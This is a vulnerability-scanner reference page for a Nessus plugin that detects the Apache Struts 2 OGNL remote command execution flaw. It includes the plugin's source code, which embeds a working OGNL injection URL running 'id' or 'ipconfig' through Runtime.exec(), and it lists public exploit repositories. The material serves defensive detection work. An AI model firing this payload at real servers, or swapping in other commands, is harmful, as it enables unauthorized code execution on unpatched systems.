Apache Struts 2 Crafted Parameter Arbitrary OGNL Expression Remote Command Execution - Nessus

High   Plugin ID: 66935

This page contains detailed information about the Apache Struts 2 Crafted Parameter Arbitrary OGNL Expression Remote Command Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 66935
Name: Apache Struts 2 Crafted Parameter Arbitrary OGNL Expression Remote Command Execution
Filename: struts_2_3_14_2_command_execution.nasl
Vulnerability Published: 2013-05-02
This Plugin Published: 2013-06-19
Last Modification Time: 2022-04-11
Plugin Version: 1.21
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: http_version.nasl, os_fingerprint.nasl, webmirror.nasl

Vulnerability Information


Severity: High
Vulnerability Published: 2013-05-02
Patch Published: 2013-05-22
CVE [?]: CVE-2013-1965, CVE-2013-1966, CVE-2013-2115
CPE [?]: cpe:/a:apache:struts

Synopsis

The remote web server contains a web application that uses a Java framework that is affected by a remote command execution vulnerability.

Description

The remote web application appears to use Struts 2, a web framework that utilizes OGNL (Object-Graph Navigation Language) as an expression language. Due to a flaw in the evaluation of an OGNL expression, a remote, unauthenticated attacker can exploit this issue to execute arbitrary commands on the remote web server by sending a specially crafted HTTP request.

Note this issue exists because of an incomplete fix for CVE-2013-1966.

Note that this version of Struts 2 is reportedly also affected by multiple cross-site scripting (XSS) vulnerabilities as well as session access and manipulation attacks; however, Nessus has not tested for these issues.

Note that this plugin will only report the first vulnerable instance of a Struts 2 application.

Solution

Upgrade to version 2.3.14.2 or later.

Public Exploits


Target Network Port(s): 80, 8080
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub, Core Impact, D2 Elliot)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the Apache Struts 2 Crafted Parameter Arbitrary OGNL Expression Remote Command Execution vulnerability:

  1. Metasploit: exploit/multi/http/struts_include_params
    [Apache Struts includeParams Remote Code Execution]
  2. Exploit-DB: exploits/multiple/remote/25980.rb
    [EDB-25980: Apache Struts - includeParams Remote Code Execution (Metasploit)]
  3. GitHub: https://github.com/0day666/Vulnerability-verification
    [CVE-2013-1965]
  4. GitHub: https://github.com/SexyBeast233/SecBooks
    [CVE-2013-1965]
  5. GitHub: https://github.com/cinno/CVE-2013-1965
    [CVE-2013-1965: A proof of concept exploit for the CVE-2013-1965 vulnerability affecting Apache ...]
  6. GitHub: https://github.com/hktalent/myhktools
    [CVE-2013-1965]
  7. GitHub: https://github.com/snic-nsc/cvechecker
    [CVE-2013-1965]
  8. GitHub: https://github.com/woods-sega/woodswiki
    [CVE-2013-1965]
  9. GitHub: https://github.com/0day666/Vulnerability-verification
    [CVE-2013-1966]
  10. GitHub: https://github.com/SexyBeast233/SecBooks
    [CVE-2013-1966]
  11. GitHub: https://github.com/fupinglee/Struts2_Bugs
    [CVE-2013-1966]
  12. GitHub: https://github.com/snic-nsc/cvechecker
    [CVE-2013-1966]
  13. GitHub: https://github.com/sourcery-ai-bot/Deep-Security-Reports
    [CVE-2013-1966]
  14. GitHub: https://github.com/woods-sega/woodswiki
    [CVE-2013-1966]
  15. GitHub: https://github.com/0day666/Vulnerability-verification
    [CVE-2013-2115]
  16. GitHub: https://github.com/SexyBeast233/SecBooks
    [CVE-2013-2115]
  17. GitHub: https://github.com/sourcery-ai-bot/Deep-Security-Reports
    [CVE-2013-2115]
  18. GitHub: https://github.com/woods-sega/woodswiki
    [CVE-2013-2115]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS Score Source [?]: CVE-2013-1965
CVSS V2 Vector: AV:N/AC:M/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C
CVSS Base Score:9.3 (High)
Impact Subscore:10.0
Exploitability Subscore:8.6
CVSS Temporal Score:7.7 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:7.7 (High)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C
CVSS Base Score:8.1 (High)
Impact Subscore:5.9
Exploitability Subscore:2.2
CVSS Temporal Score:7.5 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:7.5 (High)

Go back to menu.

Plugin Source


This is the struts_2_3_14_2_command_execution.nasl nessus plugin source code. This script is Copyright (C) 2013-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(66935);
  script_version("1.21");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2013-1965", "CVE-2013-1966", "CVE-2013-2115");
  script_bugtraq_id(60082, 60166, 60167);
  script_xref(name:"EDB-ID", value:"25980");

  script_name(english:"Apache Struts 2 Crafted Parameter Arbitrary OGNL Expression Remote Command Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a web application that uses a Java
framework that is affected by a remote command execution
vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote web application appears to use Struts 2, a web framework
that utilizes OGNL (Object-Graph Navigation Language) as an expression
language. Due to a flaw in the evaluation of an OGNL expression, a
remote, unauthenticated attacker can exploit this issue to execute
arbitrary commands on the remote web server by sending a specially
crafted HTTP request. 

Note this issue exists because of an incomplete fix for CVE-2013-1966. 

Note that this version of Struts 2 is reportedly also affected by
multiple cross-site scripting (XSS) vulnerabilities as well as session
access and manipulation attacks; however, Nessus has not tested for
these issues. 

Note that this plugin will only report the first vulnerable instance
of a Struts 2 application.");
  # https://communities.coverity.com/blogs/security/2013/05/29/struts2-remote-code-execution-via-ognl-injection
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?51bd9543");
  script_set_attribute(attribute:"see_also", value:"http://struts.apache.org/docs/s2-014.html");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 2.3.14.2 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2013-1965");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Apache-Struts Showcase < 2.3.14.1 RCE Linux");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Apache Struts includeParams Remote Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/05/02");
  script_set_attribute(attribute:"patch_publication_date", value:"2013/05/22");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/06/19");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2013-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl", "webmirror.nasl", "os_fingerprint.nasl");
  script_require_ports("Services/www", 80, 8080);

  exit(0);
}

include("http.inc");

port = get_http_port(default:8080);
cgis = get_kb_list('www/' + port + '/cgi');

urls = make_list();
# To identify actions that we can test the exploit on we will look
# for files with the .action / .jsp /.do suffix from the KB.
if (!isnull(cgis))
{
  foreach cgi (cgis)
  {
    match = pregmatch(pattern:"((^.*)(/.+\.act(ion)?)($|\?|;))", string:cgi);
    if (match)
    {
      urls = make_list(urls, match[0]);
      if (!thorough_tests) break;
    }
    match2 = pregmatch(pattern:"(^.*)(/.+\.jsp)$", string:cgi);
    if (!isnull(match2))
    {
      urls = make_list(urls, match2[0]);
      if (!thorough_tests) break;
    }
    match3 = pregmatch(pattern:"(^.*)(/.+\.do)$", string:cgi);
    if (!isnull(match3))
    {
      urls = make_list(urls, match3[0]);
      if (!thorough_tests) break;
    }
    if (cgi =~ "struts2?(-rest)?-showcase")
    {
      urls = make_list(urls, cgi);
      if (!thorough_tests) break;
    }
  }
}
if (thorough_tests)
{
  cgi2 = get_kb_list('www/' + port + '/content/extensions/act*');
  if (!isnull(cgi2)) urls = make_list(urls, cgi2);

  cgi3 = get_kb_list('www/' + port + '/content/extensions/jsp');
  if (!isnull(cgi3)) urls = make_list(urls, cgi3);

  cgi4 = get_kb_list('www/' + port + '/content/extensions/do');
  if (!isnull(cgi4)) urls = make_list(urls, cgi4);
}

# Always check web root
urls = make_list(urls, "/");

# Struts is slow
timeout = get_read_timeout() * 2;
if(timeout < 10)
  timeout = 10;
http_set_read_timeout(timeout);

urls = list_uniq(urls);

# Determine which command to execute on target host
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) cmd = 'ipconfig';
  else cmd = 'id';

  cmds = make_list(cmd);
}
else cmds = make_list('id', 'ipconfig');

vuln = FALSE;

foreach url (urls)
{
  foreach cmd (cmds)
  {
    vuln_url = url + "/${%23context['xwork.MethodAccessor.denyMethod" +
      "Execution']=!(%23_memberAccess['allowStaticMethodAccess']=true)," +
      "(@java.lang.Runtime@getRuntime()).exec('" +cmd+ "').waitFor()}.action";

    res = http_send_recv3(
      method : "GET",
      port   : port,
      item   : vuln_url,
      fetch404     : TRUE,
      exit_on_fail : TRUE
    );

    if (
       res[0] =~ "404 Not Found" &&
       res[2] =~ "\<b\>message\</b\> \<u\>(.*)/(0)?\.jsp\</u\>"
    )
    {
      vuln = TRUE;
      break;
    }
  }
  # Stop after first vulnerable Struts app is found
  if (vuln) break;
}

if (!vuln) exit(0, 'No vulnerable applications were detected on the web server listening on port '+port+'.');

security_report_v4(
  port       : port,
  severity   : SECURITY_HOLE,
  generic    : TRUE,
  request    : make_list(build_url(qs:vuln_url, port:port)),
  output     : chomp(res[2])
);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/struts_2_3_14_2_command_execution.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\struts_2_3_14_2_command_execution.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/struts_2_3_14_2_command_execution.nasl

Go back to menu.

How to Run


Here is how to run the Apache Struts 2 Crafted Parameter Arbitrary OGNL Expression Remote Command Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Apache Struts 2 Crafted Parameter Arbitrary OGNL Expression Remote Command Execution plugin ID 66935.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl struts_2_3_14_2_command_execution.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a struts_2_3_14_2_command_execution.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - struts_2_3_14_2_command_execution.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state struts_2_3_14_2_command_execution.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 117401 - Apache Struts 2.x < 2.3.14.2 Remote Code Execution Vulnerability (S2-013)
  • 117364 - Apache Struts 2.x < 2.3.14.2 Multiple Vulnerabilities (S2-014)
  • 128765 - Apache Struts 2.x < 2.3.14.3 Remote Code Execution Vulnerability (S2-012)
  • 66931 - Apache Struts 2 OGNL Expression Handling Double Evaluation Error Remote Command Execution
  • 68981 - Apache Struts 2 'action:' Parameter Arbitrary Remote Command Execution
  • 70168 - Apache Struts 2 'action:' Parameter Prefix Security Constraint Bypass
  • 73203 - Apache Struts 2 'class' Parameter ClassLoader Manipulation
  • 119728 - Apache Struts 2 'method:' Prefix Arbitrary Remote Command Execution
  • 90152 - Apache Struts 2 Tag Attribute Double OGNL Evaluation RCE
  • 91811 - Apache Struts 2 REST Plugin OGNL Expression Handling RCE
  • 102918 - Apache Struts 2.3.x Struts 1 plugin RCE (remote)
  • 97610 - Apache Struts 2.3.5 - 2.3.31 / 2.5.x < 2.5.10.1 Jakarta Multipart Parser RCE (remote)
  • 102977 - Apache Struts 2 REST Plugin XStream XML Request Deserialization RCE
  • 112064 - Apache Struts CVE-2018-11776 Results With No Namespace Remote Code Execution (S2-057) (remote)
  • 144365 - Apache Struts 2.x < 2.5.26 RCE (S2-061) (direct check)
  • 69240 - Apache Struts 2 ExceptionDelegator Arbitrary Remote Command Execution
  • 57691 - Apache Struts 2 Multiple Remote Code Execution and File Overwrite Vulnerabilities (safe check) (deprecated)
  • 57850 - Apache Struts 2 ParameterInterceptor Class OGNL Expression Parsing Remote Command Execution
  • 47900 - Apache Struts 2 / XWork Remote Code Execution (safe check)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file struts_2_3_14_2_command_execution.nasl version 1.21. For more plugins, visit the Nessus Plugin Library.

Go back to menu.